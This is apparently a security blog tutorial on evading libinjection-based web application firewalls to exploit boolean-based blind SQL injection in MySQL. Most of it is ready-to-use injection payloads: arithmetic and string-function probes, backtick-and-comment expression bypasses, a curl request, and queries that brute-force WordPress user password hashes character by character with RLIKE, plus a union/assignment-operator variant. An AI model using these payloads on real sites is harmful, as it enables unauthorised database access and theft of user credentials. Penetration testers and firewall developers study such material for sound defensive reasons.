Advanced boolean-based SQLi filter bypass techniques

Learn how to bypass filters and Application Firewall rules using MySQL String Functions, Regex Functions, Conditional Select and Set Variables to exploit a blind (boolean-based) SQL Injection vulnerability.

Advanced boolean-based SQLi filter bypass techniques

Learn how to bypass filters and Application Firewall rules using MySQL String Functions, Regex Functions, Conditional Select and Set Variables to exploit a blind (boolean-based) SQL Injection vulnerability. This article aims to show you some techniques to exploit a SQL Injection vulnerability bypassing libinjection (running inside a Web Application Firewall).

libinjection is an open-source SQL / SQLi tokenizer parser analyzer created by Nick Galbreath from Signal Sciences that aims to detect SQL Injection and XSS payloads. Libinjection runs in many Web Application Firewall because it performs better than a regular expression based ruleset. Despite this, it works well and it detects many SQLi payloads, and it can be bypassed by using specific SQL syntaxes such as MySQL string functions or conditional select.

Let's take a look at the following request that tries to check if the parameter id can be injectable with SQL syntax:
/index.php?id=1+AND+1=1

It is successfully identified by libInjection as SQLi attempts. You can use a list of Arithmetic Operators, String Functions and Conditional Select syntaxes to bypass it.

Arithmetic operators

Consider you need to check a parameter with a numeric value 2 in order to see if it's vulnerable to SQL Injection. You can make it by replacing the number 2 with an arithmetic operation. For example:

Operator Description Example Injection
+ Addition select 1 + 1 /index.php?id=1%2b1
- Subtraction select 3 - 1 /index.php?id=3-1
* Multiplication select 2 * 1 /index.php?id=2*1
/ Division select 2 / 1 /index.php?id=2/1
DIV Integer Division select 2 DIV 1 /index.php?id=2+DIV+1

String Functions

libinjection intercept most of SQLi classic attempts like 1+OR+1=1 but, speaking of MySQL, it's possible to bypass its filters by using MySQL functions:

INSERT: Insert substring at specified position up to n characters
/index.php?id=1+OR+1=insert(1,1,1,1)--

REPEAT: Repeat a string the specified number of times
index.php?id=1+OR+1=repeat(1,1)--

REPLACE: Replace occurrences of a specified string
/index.php?id=1+OR+1=replace(1,1,1)--

RIGHT: Return the specified rightmost number of characters
/index.php?id=1+OR+1=right(1,1)--

WEIGHT_STRING: Return the weight string for a string
/index.php?id=1+OR+weight_string("foo")=weight_string("foo")--

IF statement: Implements a basic conditional construct
/index.php?id=IF(1,1,1)--

Expression and Comments to Bypass

As you might know, a useful technique that could help in bypassing filters is to insert comments inside the SQL syntax, such as sEleCt/*foo*/1. This kind of payload is well blocked by WAF that uses libinjection but the following syntax seems to bypass it well:

{`<string>`/*comment*/(<sql syntax>)}

For example, in a real scenario:
curl -v 'http://wordpress/news.php?id=\{`foo`/*bar*/(select+1)\}'

Following some other examples:

Example Injection
select login from users where id={`foo`/*bar*/(select 2)}; /index.php?id={`foo`/*bar*/(select+2)}
select login from users where id={`foo`/*bar*/(select--2)}; /index.php?id={`foo`/*bar*/(select--2)}
select login from users where id={`foo`/*bar*/(select+2)}; /index.php?id={`foo`/*bar*/(select%2b2)}

In a real scenario, if you found a boolean-based SQL Injection for example on a vulnerable WordPress plugin, and you need to bypass a WAF using libinjection to exploit it, you can bruteforce and exfiltrate the password hash of a user by using the following payload:

/index.php?id={`foo`/*bar*/(select+1+from+wp_users+where+user_pass+rlike+"(^)[$].*"+limit+1)}

In this case, the RLIKE operator makes me able to brute-force the hashed password value by checking the response body length after adding characters to the regular expression. For example (using any web fuzz tool):

RLIKE "(^)[$].*" -> return ok (hash: $)
RLIKE "(^)[$][a].*" -> error or different response body length
RLIKE "(^)[$][b].*" -> error or different response body length
RLIKE "(^)[$][c].*" -> return ok (hash: $c)
RLIKE "(^)[$][c][a].*" -> error or different response body length
RLIKE "(^)[$][c][b].*" -> error or different response body length
RLIKE "(^)[$][c][c].*" -> return ok (hash: $cc)
etc...

Assignment Operators

The := assignment operator causes the user variable on the left hand side of the operator to take on the value to its right. The value on the right hand side may be a literal value, another variable storing a value, or any legal expression that yields a scalar value, including the result of a query (provided that this value is a scalar value). You can perform multiple assignments in the same SET statement. You can perform multiple assignments in the same statement.

Unlike =, the := operator is never interpreted as a comparison operator. This means you can use := in any valid SQL statement (not just in SET statements) to assign a value to a variable.

We can use all syntaxes shown before (Expression, Comments, RLIKE, and Assignment Operator) too (thanks to @seedis https://github.com/seedis). For example:

/index.php?id=@foo:=({`if`/*bar*/(select+1+from+wp_users+where+user_pass+rlike+"^[$]"+limit+1)})+union+%23%0a+distinctrow%0b+select+@foo

This requires more explaining:

select id=1 by injecting SQL query
select id=2 by injecting SQL query

References

If you liked this post, follow me!

The awesome image used in this post is called "Lights Out" by spovv.